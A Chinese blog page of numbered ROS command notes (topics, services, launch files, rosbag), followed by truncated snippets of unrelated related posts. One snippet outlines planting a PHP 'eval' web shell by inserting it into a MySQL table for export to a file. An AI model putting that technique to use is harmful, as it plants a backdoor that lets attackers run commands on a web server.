1、安裝ros系統，將源換到 主伺服器（main service）上，然後安裝即可.
------------node topic
2、node 節點，乙個節點不會比乙個包裡的可執行的檔案數目多。
3、使用rostopic echo [***] 來輸出訊息內容
4、使用rostopic pub [topic] [message] [arguments] 來向話題手動傳送資料
5、使用rostopic hz [topic] 來檢視節點發布訊息速度
-------------service----------
6、service服務是另一種使節點可以相互溝通的方式，服務允許節點可以傳送請求和接收應答
7、rosservice list 列印當前存活的service
8、rosservice call [service] [args] 呼叫服務並傳入引數
9、使用rosrun rqt_console開啟ros訊息控制台，可用於專門檢視ros節點資料資訊。
10、使用rosrun rqt_logger_level 來控制ros訊息控制台的顯示等級，具體等級和android log訊息等級，基本一致
11、使用roslaunch [way] ***.launch 檔案來啟動多個節點
12、使用rosed [package_name] [filename] 來顯示並編輯文字，但個人覺得，其實gedit [package_name] [filename]更好用
---------關於 訂閱與推送器 服務和客戶端
13、訂閱和發布器類似於udp
14、服務和客戶端類似於tcp，好像就是封裝的這兩個協議，沒注意下次深挖看一下
-------資料的記錄與回放
15、使用rosbag record 來記錄資料
16、使用rosbag info 檢視資訊
17、使用rosbag play 回放資訊
18、使用roswtf 來檢測錯誤，如果無法編譯檔案或通訊失效，請使用這個，看看能否提供有效的解決資訊。
mysql 匯出一句話 MySQL 匯出一句話
drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表，裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...
一句話提醒
1 在c 中，父窗體要訪問子窗體變數，需將子窗體變數設為public才能訪問。2 每 5 秒重新整理頁面 5 秒後重定向頁面 3 block 此元素將顯示為塊級元素，此元素前後會帶有換行符。inline 預設。此元素會被顯示為內聯元素，元素前後沒有換行符。4 document.getelementb...
一句話命令
bash 型別 wget r nc np 分片20m 上傳 bypy vvv s 20m upload mac下檢視埠占用 nettop nm tcp brew brew uninstall zsh brew services list brew services start brew servic...